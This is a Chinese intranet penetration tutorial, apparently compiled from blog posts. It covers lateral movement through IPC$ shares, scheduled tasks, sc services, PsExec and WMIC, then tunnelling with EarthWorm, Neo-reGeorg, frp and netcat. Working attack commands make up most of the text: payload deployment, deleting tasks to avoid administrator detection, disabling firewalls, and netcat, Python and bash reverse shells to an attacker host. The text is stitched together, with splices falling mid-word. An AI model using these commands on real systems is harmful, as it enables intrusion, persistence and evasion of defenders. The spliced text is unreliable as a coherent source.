- 目标主机管理员开启了ipc$默认共享
在使用完ipc 连 接 后 , 需 要 删 除 i p c 连接后,需要删除ipc 连接后,需要删除ipc,命令如下:
net use \\\\IP /del /y
除了IPC链接,我们还可以与目标主机的其他共享建立连接,比如建立c$盘共享连接:
net use \\\\192.168.183.130\\c$ "Liu78963" /user:"administrato
利用Windows计划任务进行横向渗透
at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。
操作如下:
\\1. 先与目标主机建立ipc连接。
\\2. 再使用net time命令确定目标主机DC的当前时间:
net time \\\\192.168.183.130
3.然后使用copy命令远程操作,将metasploit生成的payload文件复制到目标系统C盘中:
copy shell.exe \\\\192.168.183.130\\c$
\\4. 接着使用at命令创建计划任务,让目标主机DC在指定的时间运行metasploit木马程序(这时我们在攻击机设置好msf监听):
at \\\\192.168.183.130 18:53:00 c:\\shell.exe
\\5. 最后,我们使用完计划任务后,还需要将该计划任务删除,以免被网管理员发现:
at \\\\192.168.183.130 1 /delete
// 1为计划任务的ID
利用 schtasks 命令
上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。
利用schtasks命令创建计划任务进行横向移动的操作流程如下:
\\1. 先与目标主机建立ipc连接。
\\2. 然后使用copy命令远程操作,将metasploit生成的payload文件shell.exe复制到目标系统C盘中。
\\3. 在目标主机DC上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe,启动权限为system。
注意:在使用schtasks命令时,会在系统中留下日志文件C:\\Windows\\Tasks\\SchedLgU.txt。
创建Windows服务来进行横向渗透
使用条件:
- 当前跳板机用户具有管理员权限(因为要创建服务)。
- 与目标机器已经建立ipc连接
利用 sc 命令
SC工具命令集。该工具集主要用来对操作系统服务进行管理。
流程基本如下:
\\1. 先让跳板机与内网目标机DC建立ipc连接。
\\2. 然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件bind.exe复制到目标主机DC系统C盘中。
\\3. 再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:
sc \\\\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序
sc \\\\WIN-ENS2VR5TR3N create bindshell binpath= "c:\\bind.exe"
注意这里的格式,“=”后面是必须空一格的,否则会出现错误。
\\4. 立即启动该服务:
sc \\\\WIN-ENS2VR5TR3N start bindshell
执行后,msf成功上线域控:
\\5. 使用完后删除刚才创建的服务
sc \\\\[host] delete [servicename] #删除服务
我们还可以通过设置服务来关闭防火墙:
sc \\\\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\\\WIN-ENS2VR5TR3N start unablefirewall
利用PsExec工具进行横向渗透
利用PsExec.exe工具
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中。
psexec的使用前提:
- 对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
- 对方未开启防火墙
- 如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
- 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
基本操作命令如下:
PsExec.exe -accepteula \\\\192.168.52.138 -u god\\liukaifeng01 -p Liufupeng123 -s cmd.exe
- -accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框
- -u:用户名
- -p:密码
- -s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell
Metasploit下的PsExec模块
exploit/windows/smb/psexec // 用psexec执行系统命令,与psexec.exe相同
exploit/windows/smb/psexec_psh // 使用powershell作为payload(PsExec的PowerShell版本)
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
exploit/windows/smb/ms17_010_psexec
利用WMI来横向渗透
WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。
注意:使用WMIC连接远程主机,需要目标主机开放135和445端口。(135 端⼝是 WMIC 默认的管理端⼝,而 wimcexec 使⽤445端⼝传回显)
远程桌面连接(没用过)
用WMIC命令可以开启远程计算机的远程桌面连接:
wmic /node:192.168.183.130 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
// wmic /node:"[full machine name]" /USER:"[domain]\\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
查询远程进程信息
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief
远程创建进程
如下,以administrator用户连接192.168.183.130(DC),并在机器上创建一个进程执行ipconfig命令,将结果写入C:\\result.txt文本文件中:(由于wmic执行远程命令没有回显,所以要将结果写入到txt中)
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipcon奇安信技术总监熬夜总结,全网最全内网渗透姿势!
0x00 前言
在渗透中拿到一台边缘机器后剩余内网机器不出网的情况很常见,这时我们就需要把内网机器流量转到边缘机器上再进行访问,内网流量转出来的方法很多,在下面就介绍几种常见的方法
0x01 环境介绍
本地环境搭建:
边缘机器:
windows 7
ip:192.168.10.15(外)
192.168.52.143(内)
目标机器:
windows 2008R2
ip:192.168.52.138
攻击机器:
windows 2008
ip:192.168.10.3
kali:
msf5:192.168.10.14
msf6:192.168.10.11
0x02 EarthWorm
将ew_for_windows上传到边缘机器
1.正向连接
适用于目标机器拥有一个外网ip
在win7机器上执行
ew -s ssocksd -l 888
监听本机888端口。然后在2008r2机器上使用proxifier进行连接
2.反向连接
适用于边缘机器无公网ip
攻击机器上执行
ew_for_Win.exe -s rcsocks -l 1080 -e 1234
对外1234端口转发到1080端口
然后边缘机器连接
ew_for_Win.exe -s rssocks -d 192.168.10.3 -e 1234
0x03 Neo-reGeorg
注:这里需要python环境,在2008R2上弄总是出错,切到物理机进行实验,原理相同
生成文件
python neoreg.py generate -k 123456
这里web机器解析php,所以我上传一个tunnel.php的马到web机器(win7)上
攻击机连接
python neoreg.py -k 123456 -u http://192.168.10.15/tunnel.php
admin.exe -lport 9999
边缘机器(win7)执行
agent.exe -rhost 192.168.10.3 -rport 9999
执行命令
goto 1
socks 6666
0x05 ssf
1.正向连接
把certs文件夹和ssfd上传到边缘机器
边缘机器开启1333端口
ssfd.exe ‐p 1333
攻击机连接边缘机器的1333端口,并将数据转发给1222端口
ssfd.exe ‐D 1222 ‐p 1333 192.168.10.15
2.反向连接
攻击机本地监听1234端口,命令如下:
ssfd.exe ‐p 1234
边缘机器连接1234端口,并将数据转发到12345端口,命令如下:
ssf.exe ‐F 12345 ‐p 1234 192.168.10.3
此处没有实验成功,还是写下步骤
本地socks代理连接127.0.0.1 12345端口
0x06 frp
攻击机设置frps.ini
[common]
bind_port = 6666
运行如下命令:
frps.exe -c frps.ini
[common]
server_addr = 192.168.10.3
server_port = 6666
[http_proxy]
type=tcp
remote_port=7777
plugin=socks5
监听本地7777端口
0x07 msf
在msf6下只剩下了socks_proxy这个模块
还是先修改proxychains4.conf这个配置文件
这里注意一下,我们在运行之前先show options一下,发现默认是socks5
代理运行如果想使用socks4a代理,添加如下语句即可
set version 4a
修改浏览器配置
成功访问内网资源
拓展:portfwd端口转发
portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听,使用方法如下
portfwd add -l 3389 -r 192.168.52.138 -p 3389
然后我们访问本地3389
0x08 nc
1.正向连接
需要目标有公网ip
目标机器
nc -lvp 4444 -e /bin/sh linux
nc -lvp 4444 -e c:\\windows\\system32\\cmd.exe windows
攻击机器
nc <目标机器ip> 4444
2.反向连接
攻击机器监听本地1234端口
nc -lvp 1234
目标机器执行
nc <ip> 1234 -e /bin/sh linux
nc <ip> 1234 -e cmd.exe windows
在一般情况下目标机器是没有nc的,这里可以用其他工具或者编程语言来代替nc
python反向shell
攻击机器:
nc -lvp 2222
目标机器:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.10.3',2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
bash反向shell
攻击机器:
nc -lvp 2222
目标机器:
bash -i >& /dev/tcp/192.168.10.3/2222 0>&1
最后希望大家可以给我一个三连也算是对我的一个小小的支持,我们都是CSDN一家人啊
以上是关于内网渗透--总结的主要内容,如果未能解决你的问题,请参考以下文章
[网络安全提高篇] 一一三.Powershell恶意代码检测 论文总结及抽象语法树(AST)提取